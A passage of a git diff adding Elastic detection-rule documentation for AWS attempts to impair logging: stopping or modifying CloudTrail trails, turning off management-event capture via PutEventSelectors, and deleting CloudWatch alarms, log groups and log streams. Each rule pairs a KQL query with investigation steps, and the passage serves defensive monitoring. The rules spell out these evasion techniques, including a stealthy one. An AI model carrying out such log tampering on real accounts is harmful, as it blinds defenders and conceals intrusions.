+ + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS CloudTrail Log Suspended* + + +AWS CloudTrail is a service that enables governance, compliance, and operational and risk auditing of your AWS account. It logs API calls and related events, providing visibility into user activity. This rule identifies the suspension of an AWS log trail using the `StopLogging` API. Attackers can do this to cover their tracks and impact security monitoring that relies on this source. + + +*Possible investigation steps* + +- **Actor & scope** + - Identify `aws.cloudtrail.user_identity.arn`, `user_agent.original`, `source.ip`. + - Determine which trail stopped and whether it’s multi-region or organization-wide. +- **Timing and impact** + - When did logging stop and resume (if at all)? Are there overlapping detections indicating activity during the gap? +- **Correlate activity** + - Search for sensitive API activity around the stop event (IAM changes, S3 policy changes, EC2 exports, KMS changes). + - Check for preceding `UpdateTrail` (e.g., destination change) and subsequent `DeleteTrail`. + + +*False positive analysis* + +- **Planned suspensions**: Rare; verify maintenance tickets and ensure post-change validation. + + +*Response and remediation* + +- Restart logging (`StartLogging`) immediately. +- Investigate actor’s recent activity; rotate credentials if suspicious. +- Validate trail configuration, destination bucket/CMK, and event selectors. +- Hardening: Limit `cloudtrail:StopLogging` to break-glass roles; alert on any future stops; enforce via AWS Config/SCPs. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "cloudtrail.amazonaws.com" + and event.action: "StopLogging" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cloudtrail-log-updated.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cloudtrail-log-updated.asciidoc new file mode 100644 index 0000000000..baa155933c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cloudtrail-log-updated.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-34-aws-cloudtrail-log-updated]] +=== AWS CloudTrail Log Updated + +Detects updates to an existing CloudTrail trail via UpdateTrail API which may reduce visibility, change destinations, or weaken integrity (e.g., removing global events, moving the S3 destination, or disabling validation). Adversaries can modify trails to evade detection while maintaining a semblance of logging. Validate any configuration change against approved baselines. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/awscloudtrail/latest/APIReference/API_UpdateTrail.html +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/update-trail.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Tactic: Impact +* Rule Type: Custom Query (KQL) +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS CloudTrail Log Updated* + + +AWS CloudTrail is a service that enables governance, compliance, and operational and risk auditing of your AWS account. It logs API calls and related events, providing visibility into user activity. Trail modifications can be used by attackers to redirect logs to non-approved buckets, drop regions, or disable valuable selectors. This rule identifies a modification on CloudTrail settings using the `UpdateTrail` API. + + +*Possible investigation steps* + +- **Actor and context** + - Check `aws.cloudtrail.user_identity.arn`, `user_agent.original`, `source.ip`; verify approved change. +- **Assess the modification** + - In `aws.cloudtrail.request_parameters`, note changes to: + - `S3BucketName`, `CloudWatchLogsLogGroupArn`, `KmsKeyId` + - `IsMultiRegionTrail`, `IncludeGlobalServiceEvents` + - Event or insight selectors (management vs data events) +- **Correlate** + - Look for preceding `StopLogging` or following `DeleteTrail`. + - Review concurrent IAM policy edits or role changes by the same actor. + + +*False positive analysis* + +- **Planned changes**: Baseline drift during region onboarding or encryption rotation. +- **Automation**: IaC pipelines updating trails as templates evolve. + + +*Response and remediation* + +- **If unauthorized** + - Revert to baseline; validate destination ownership and KMS policy. + - Investigate time ranges where visibility may have been reduced. +- **Hardening** + - Constrain `cloudtrail:UpdateTrail`, require approvals, and monitor with AWS Config rules. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "cloudtrail.amazonaws.com" + and event.action: "UpdateTrail" + and event.outcome: "success" + and not user_agent.original: (*Pulumi* or *Terraform*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cloudtrail-management-events-disabled-via-puteventselectors.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cloudtrail-management-events-disabled-via-puteventselectors.asciidoc new file mode 100644 index 0000000000..41b52d3130 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cloudtrail-management-events-disabled-via-puteventselectors.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-34-aws-cloudtrail-management-events-disabled-via-puteventselectors]] +=== AWS CloudTrail Management Events Disabled via PutEventSelectors + +Detects CloudTrail PutEventSelectors calls where the legacy event selectors explicitly set includeManagementEvents to false, disabling capture of all management API calls for that trail. Unlike StopLogging or DeleteTrail — which leave an obvious trace of the trail being stopped or removed entirely — this technique leaves the trail appearing active and healthy in the console while silently blinding defenders to subsequent IAM changes, credential operations, and resource abuse. This technique is documented in Stratus Red Team as aws.defense-evasion.cloudtrail-event-selectors and is a known pre-exfiltration step. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/awscloudtrail/latest/APIReference/API_PutEventSelectors.html +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-event-selectors/ +* https://attack.mitre.org/techniques/T1562/008/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Use Case: Log Auditing +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Slow +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Platform: AWS + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS CloudTrail Management Events Disabled via PutEventSelectors* + + +`PutEventSelectors` controls which CloudTrail events a trail captures. This rule fires when the +new event selectors explicitly set `includeManagementEvents` to `false` — disabling capture of +all management API calls for that trail while leaving it appearing active in the console. This is +a surgical evasion technique that does not trigger the existing `StopLogging` or `DeleteTrail` +alerts, and can persist silently for days before detection. + + +*Possible investigation steps* + + +- **Confirm the intent**: `aws.cloudtrail.request_parameters` contains the full JSON of the new + event selectors. The rule has already matched `includeManagementEvents: false`. Confirm whether + ALL selectors have management events disabled or only some, and whether `ExcludeManagementEventSources` + further filters specific services. + +- **Check for other narrowing**: Also inspect `ReadWriteType` and `DataResources` in the same + event — switching to `ReadOnly` or removing data event entries compounds the coverage gap. + +- **Verify the caller**: `aws.cloudtrail.user_identity.arn` — IaC automation (Terraform, + CloudFormation, CDK) uses AssumedRole/ASIA* credentials and legitimately sets management event + selectors to `true` during trail creation. An AKIA* key or Root identity making this change + outside of a deployment pipeline is high-confidence adversarial. + +- **Check trail scope**: Was this a multi-region trail or organization-wide trail? Changes to + broad-scope trails have the largest visibility impact. + +- **Correlate activity**: Look for high-impact API calls in the 30–60 minutes following this + event — particularly IAM changes, credential operations, or S3/KMS data access — that would + now be invisible to the trail. + +- **Prior access**: Check for `GetTrailStatus`, `GetEventSelectors`, or `DescribeTrails` calls + from the same identity before this event, indicating reconnaissance of the trail configuration. + + +*Response and remediation* + + +- Immediately call `PutEventSelectors` to restore `includeManagementEvents: true` on all selectors. +- Confirm that `GetTrailStatus` shows `IsLogging: true`. +- Review all API activity from the time the selectors were modified until detection using + alternative sources (CloudWatch, other regional trails) for the gap window. +- Restrict `cloudtrail:PutEventSelectors` to break-glass roles and enforce via SCP. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "cloudtrail.amazonaws.com" + and event.action: "PutEventSelectors" + and event.outcome: "success" + and aws.cloudtrail.request_parameters: *includeManagementEvents*false* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cloudwatch-alarm-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cloudwatch-alarm-deletion.asciidoc new file mode 100644 index 0000000000..996aa52a9b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cloudwatch-alarm-deletion.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-aws-cloudwatch-alarm-deletion]] +=== AWS CloudWatch Alarm Deletion + +Detects the deletion of one or more Amazon CloudWatch alarms using the "DeleteAlarms" API. CloudWatch alarms are critical for monitoring metrics and triggering alerts when thresholds are exceeded. An adversary may delete alarms to impair visibility, silence alerts, and evade detection following malicious activity. This behavior may occur during post-exploitation or cleanup phases to remove traces of compromise or disable automated responses. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudwatch/delete-alarms.html +* https://docs.aws.amazon.com/AmazonCloudWatch/latest/APIReference/API_DeleteAlarms.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS CloudWatch +* Tactic: Defense Evasion +* Rule Type: Custom Query (KQL) +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS CloudWatch Alarm Deletion* + + +Amazon CloudWatch is a monitoring and observability service that collects monitoring and operational data in the form of logs, metrics, and events for resources and applications. This data can be used to detect anomalous behavior in your environments, set alarms, visualize logs and metrics side by side, take automated actions, troubleshoot issues, and discover insights to keep your applications running smoothly. + +Amazon CloudWatch Alarms monitor key metrics and trigger automated alerts or remediation workflows. Deleting these alarms disables monitoring of associated metrics and can delay detection of performance degradation or security incidents. Attackers may delete alarms to evade detection, suppress alerts, or disable security automation that responds to anomalies or policy violations. + +This rule detects successful calls to the `DeleteAlarms` API via CloudTrail. These events should be rare and always associated with a valid change-control request or automation pipeline. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine who initiated the deletion. + - Check whether this actor typically performs CloudWatch management or automation tasks. + +- **Review request details** + - Inspect `aws.cloudtrail.request_parameters` for the specific alarm names deleted. + - Determine whether the alarms were security-related (e.g., CloudTrail log delivery, GuardDuty finding rate, or IAM API monitoring alarms). + - Cross-reference deleted alarms with your organization's list of critical monitoring configurations. + +- **Analyze source and context** + - Review `source.ip` and `user_agent.original` for anomalies such as external IPs, unusual user agents, or custom SDKs. + - Determine whether the activity occurred during a known maintenance window or from a trusted automation host. + - Examine `cloud.region` to identify whether alarms were deleted from unexpected regions. + +- **Correlate with surrounding events** + - Review CloudTrail events for related activity around the same time, such as: + - `PutMetricAlarm`, `DisableAlarmActions`, or `DeleteLogGroup` + - Changes to CloudTrail, Config, or GuardDuty configurations + - IAM policy or permission modifications that could facilitate evasion + - Identify whether the same actor has previously modified logging or monitoring infrastructure. + +- **Assess impact and scope** + - Determine which systems or detection workflows relied on the deleted alarms. + - Review whether the deletion affected automated responses, notifications, or third-party integrations (e.g., SNS, Lambda, or PagerDuty). + + +*False positive analysis* + + +- **Legitimate automation or redeployment** + - Infrastructure as Code (IaC) frameworks such as Terraform or CloudFormation may delete and recreate alarms during updates. + - Validate automation account roles and ensure alarm deletions are immediately followed by re-creation actions. +- **Operational maintenance** + - Scheduled monitoring cleanup, regional deactivation, or test environment resets can trigger legitimate deletions. + - Verify timing and user identity against approved change management records. +- **Organizational migrations** + - Security operations or DevOps teams may consolidate alarms during account merges or refactors. + - Confirm intent with relevant teams and exclude authorized administrative accounts as necessary. + + +*Response and remediation* + + +- **Containment** + - If the deletion was unauthorized, recreate the deleted alarms immediately using IaC templates or CloudFormation backups. + - Re-enable any dependent automation or alerts that rely on those alarms. + - Temporarily restrict CloudWatch modification privileges to designated IAM roles. + +- **Investigation** + - Review related CloudTrail logs for preceding IAM changes, STS activity, or anomalous role assumptions that might indicate compromised credentials. + - Investigate whether any alerts were suppressed or delayed prior to the deletion. + +- **Recovery and hardening** + - Implement AWS Config rules to continuously monitor alarm existence and alert on `DeleteAlarms` API calls. + - Restrict permissions to `cloudwatch:DeleteAlarms` and enforce MFA for users performing monitoring configuration changes. + - Maintain IaC definitions for all critical alarms to support rapid restoration. + - Audit IAM roles and automation accounts that manage CloudWatch configurations to ensure least privilege. + - Integrate alarm configuration checks into your CI/CD validation workflows. + + +*Additional information* + + +- **https://docs.aws.amazon.com/config/latest/developerguide/cloudwatch-alarm-action-check.html[AWS Config Rule – cloudwatch-alarm-action-check]** +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "monitoring.amazonaws.com" + and event.action: "DeleteAlarms" + and event.outcome: "success" + and source.ip: * + and not user_agent.original : ("AWS Internal" or "dynamodb.application-autoscaling.amazonaws.com" or "application-autoscaling.amazonaws.com" or *Terraform* or *Pulumi*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Indicator Blocking +** ID: T1562.006 +** Reference URL: https://attack.mitre.org/techniques/T1562/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cloudwatch-log-group-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cloudwatch-log-group-deletion.asciidoc new file mode 100644 index 0000000000..73a6fd1526 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cloudwatch-log-group-deletion.asciidoc @@ -0,0 +1,200 @@ +[[prebuilt-rule-8-19-34-aws-cloudwatch-log-group-deletion]] +=== AWS CloudWatch Log Group Deletion + +Detects the deletion of an Amazon CloudWatch Log Group using the "DeleteLogGroup" API. CloudWatch log groups store operational and security logs for AWS services and custom applications. Deleting a log group permanently removes all associated log streams and historical log data, which can eliminate forensic evidence and disrupt security monitoring pipelines. Adversaries may delete log groups to conceal malicious activity, disable log forwarding, or impede incident response. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/logs/delete-log-group.html +* https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_DeleteLogGroup.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS CloudWatch +* Tactic: Defense Evasion +* Tactic: Impact +* Rule Type: Custom Query (KQL) +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS CloudWatch Log Group Deletion* + + +CloudWatch Logs is foundational to AWS observability, SIEM ingestion, audit pipelines, and incident response. +Log groups often contain retention-critical logs such as: + +- VPC Flow Logs +- Lambda function logs +- Application and container logs +- Security service logs (e.g., AWS WAF, RDS logs) + +Deletion of a log group removes all historical log streams and cannot be reversed. +Adversaries may leverage `DeleteLogGroup` to impair forensic visibility, disrupt monitoring, and hide evidence following malicious actions. This rule detects a successful `DeleteLogGroup` event initiated from a non–AWS Internal user agent, signalling potential defense evasion or disruption of logging pipelines. + + +*Possible investigation steps* + + + **Identify the actor** +- Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`. +- Determine whether this identity normally modifies CloudWatch Logs or is associated with automation. + +**Review deletion details** +- Inspect `aws.cloudtrail.request_parameters` to determine the exact log group deleted. +- Assess whether the log group provided visibility into: + - CloudTrail processing, + - Network flows (VPC Flow Logs), + - Serverless/application security logs, + - Lambda, ECS, EKS, or container workload logs. + +**Check source and context** +- Assess `source.ip` for unusual IPs, geolocations, VPN endpoints, or cloud provider ranges unfamiliar to your environment. +- Review `user_agent.original` for unexpected tools (custom agents, unusual SDKs, attackers using CLI default agents). + +**Correlate with surrounding activity** +Look for preceding or subsequent CloudTrail events such as: + +- `StopLogging`, `DeleteTrail`, or CloudTrail configuration changes +- IAM permission escalations (e.g., `PutUserPolicy`, `AttachRolePolicy`) +- Security service suppression actions (e.g., GuardDuty detector deletion) +- Lambda or application configuration updates that may indicate a compromise + +If the deleted log group was associated with a Lambda execution role, review for suspicious code updates or rogue deployments. + +**Assess business or security impact** +- Identify whether the deleted log group fed: + - SIEM ingestion + - Security analytics pipelines + - Compliance/audit logs + - Operational monitoring or alerting +- Contact the service owner or development team to verify whether the deletion was intentional. + +**Determine compromise scope if malicious** +- Use CloudTrail to identify prior activity by the same user identity or IP. +- Examine authentication events (IAM, STS) for signs of stolen credentials or session hijacking. +- Identify resources or applications dependent on the deleted logging pipeline. + + +*False positive analysis* + + +- **IaC-managed environments**: Tools like Terraform or CloudFormation may delete and recreate log groups during deployments. +- **Automated cleanup jobs**: Some environments use automated retention cleanup workflows. +- **Ephemeral testing accounts**: Development/testing accounts frequently create and destroy log groups. + +To tune noise: +- Add exceptions for specific automation IAM roles or trusted source IPs. +- Require `user_agent.original` and `source.ip` conditions for baseline-based tuning. + + +*Response and remediation* + + +**Containment** +- Immediately recreate the deleted log group (if appropriate) using IaC or CloudWatch Console. +- Restrict the IAM identity that performed the deletion until the activity is validated. +- Enable or confirm CloudTrail logging in all regions to maintain broader visibility. + +**Investigation** +- Review CloudTrail activity for: + - privilege escalation attempts, + - IAM role modifications, + - security service tampering (CloudTrail, Config, GuardDuty). +- Correlate with alerts from other services (GuardDuty, Security Hub, SIEM detections). + +**Recovery and hardening** +- Enforce least privilege on `logs:DeleteLogGroup`. +- Configure AWS Config rules to alert on missing or modified log groups. +- Implement log group retention policies and IAM SCP guardrails to prevent unauthorized deletion. +- Document log group ownership and expected lifecycle management. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "logs.amazonaws.com" + and event.action: "DeleteLogGroup" + and event.outcome: "success" + and source.ip: * + and not user_agent.original : ("AWS Internal" or *Terraform* or *Pulumi*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cloudwatch-log-stream-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cloudwatch-log-stream-deletion.asciidoc new file mode 100644 index 0000000000..ec4e653a55 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cloudwatch-log-stream-deletion.asciidoc @@ -0,0 +1,189 @@ +[[prebuilt-rule-8-19-34-aws-cloudwatch-log-stream-deletion]] +=== AWS CloudWatch Log Stream Deletion + +Detects the deletion of an Amazon CloudWatch log stream using the "DeleteLogStream" API. Deleting a log stream permanently removes its associated log events and may disrupt security visibility, break audit trails, or suppress forensic evidence. Adversaries may delete log streams to conceal malicious actions, impair monitoring pipelines, or remove artifacts generated during post-exploitation activity. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/logs/delete-log-stream.html +* https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_DeleteLogStream.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS CloudWatch +* Tactic: Defense Evasion +* Tactic: Impact +* Rule Type: Custom Query (KQL) +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS CloudWatch Log Stream Deletion* + + +CloudWatch log streams contain sequential log events from a single application, service, or AWS resource. +Deleting a log stream permanently removes its archived log events, which may disable monitoring workflows, eliminate +critical telemetry, or disrupt forensic visibility. + +Adversaries may delete log streams to cover their tracks after unauthorized actions, break ingestion pipelines feeding SIEM, alerting, or anomaly detection or to remove evidence before escalating privileges or moving laterally. This rule detects successful invocations of the `DeleteLogStream` API from CloudTrail. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`. + - Confirm whether the user or role normally manages CloudWatch Logs resources. + +- **Review request details** + - Inspect `aws.cloudtrail.request_parameters` to determine which log stream and parent log group were deleted. + - Assess the importance of the deleted stream: + - Was it used for VPC Flow Logs, CloudTrail, Lambda functions, ECS tasks, or application logs? + - Did it contain logs used for security detection or compliance auditing? + +- **Examine request origin and context** + - Review `source.ip` and `user_agent.original` for anomalies (e.g., unfamiliar CLI tools, suspicious automation, + unknown IP ranges, or external geolocations). + - Validate whether the request originated from a legitimate automation host or jump box. + - Check activity around the same timestamp for related operations such as: + - `DeleteLogGroup` + - `StopLogging`, `UpdateTrail`, or `DeleteTrail` + - GuardDuty detector or CloudWatch alarm deletions + - IAM policy or role modifications + +- **Determine operational justification** + - Consult change management systems or deployment pipelines to confirm whether the deletion was planned. + - Contact application owners or platform teams to determine whether the log stream was part of normal rotation or cleanup. + +- **Investigate broader compromise indicators** + - Look for suspicious activity by the same identity in the past 24–48 hours, such as: + - Failed authentication attempts + - IAM privilege escalations + - Unusual STS AssumeRole usage + - Access from new geolocations + + +*False positive analysis* + + +- **Log rotation and automation** + - Some systems delete log streams automatically when rolling new deployments or recycling compute resources. + - CI/CD pipelines managing immutable infrastructure may delete and recreate streams during each deploy. + +- **Test and development accounts** + - Dev/test environments may frequently create and delete log streams as part of iterative work. + +- **Bulk cleanup operations** + - Platform engineering teams may delete obsolete log streams during cost-optimization or log-retention management. + +If the rule triggers frequently from known infrastructure accounts or automation hosts, consider adding narrow exceptions using a combination of IAM role, IP range, or user agent. + + +*Response and remediation* + + +- **Containment** + - If the deletion is unauthorized, review other CloudWatch resources for additional tampering (alarms, log groups, metric filters). + - Temporarily restrict permissions for the implicated IAM user or role. + +- **Investigation** + - Reconstruct any missing telemetry from alternative sources (e.g., S3 buckets, application logs, third-party logging systems). + - Review CloudTrail and Config timelines for preceding suspicious events. + - Validate whether the deleted log stream contained evidence of prior compromise. + +- **Recovery and hardening** + - Implement IAM least-privilege for `logs:DeleteLogStream`. + - Enable AWS Config rules to monitor CloudWatch Logs configuration changes. + - Ensure that business-critical log groups enforce minimum retention periods and prevent accidental deletion. + - Integrate log stream lifecycle management into CI/CD to avoid manual deletions. + - Establish guardrails using Service Control Policies (SCPs) to block log deletions outside designated automation roles. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "logs.amazonaws.com" + and event.action: "DeleteLogStream" + and event.outcome: "success" + and source.ip: * + and not user_agent.original: ("AWS Internal" or *Terraform* or *Pulumi*) + +---------------------------------- + +*Framework*: 